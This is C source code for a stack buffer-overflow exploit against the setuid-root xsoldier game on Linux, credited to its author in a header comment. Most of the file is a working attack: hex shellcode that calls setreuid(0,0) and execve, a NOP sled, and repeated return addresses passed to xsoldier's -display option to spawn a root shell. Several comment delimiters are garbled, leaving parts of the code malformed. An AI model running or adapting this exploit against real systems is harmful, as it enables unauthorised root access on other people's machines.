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/*Larry W. Cashdollar linux xsolider exploit.
*lwc@vapid.dhs.org http://vapid.dhs.org
*if xsolider is built and installed from its source it will be installed
*setuid root in /usr/local/games
*original exploit found by brock tellier for freebsd 3.3 ports packages.
*If a setregid() call is placed in the shellcode, you can get egid=12
*with the default Mandrake 7.0 installation.
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next instruction. / #define LEN 4480 /our buffersize. */
char shellcode[] =/*execve with setreuid(0,0) and no '/' hellkit v1.1 */ "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa" "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01" "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11" "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9" "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01" "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c" "\xc2\x91";
/Nab the stack pointer to use as an index into our nop's/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i, offset;
long retaddr = get_sp ();
if (argc <= 1)
offset = 0;
else
offset = atoi (argv[1]);
/#Copy the NOPs in to the buffer leaving space for shellcode and #pointers/
for (i = 0; i < (LEN - strlen (shellcode) - 100); i++) *(buffer + i) = NOP;
/[NNNNNNNNNNNNNNNNNNNNN ]/ / ^-- LEN -(strlen(shellcode)) - 35/
/#Copy the shell code into the buffer/
memcpy (buffer + i, shellcode, strlen (shellcode));
/[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS ]/ /* ^-(buffer+i) /
/#Fill the buffer with our new address to jump to esp + offset */
for (i = i + strlen (shellcode); i < LEN; i += 4) *(long *) &buffer[i] = retaddr+offset;
/[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]/ / ^-(i+strlen(shellcode))/
printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN); execl ("/usr/local/games/xsoldier", "xsoldier", "-display", buffer, 0);
}
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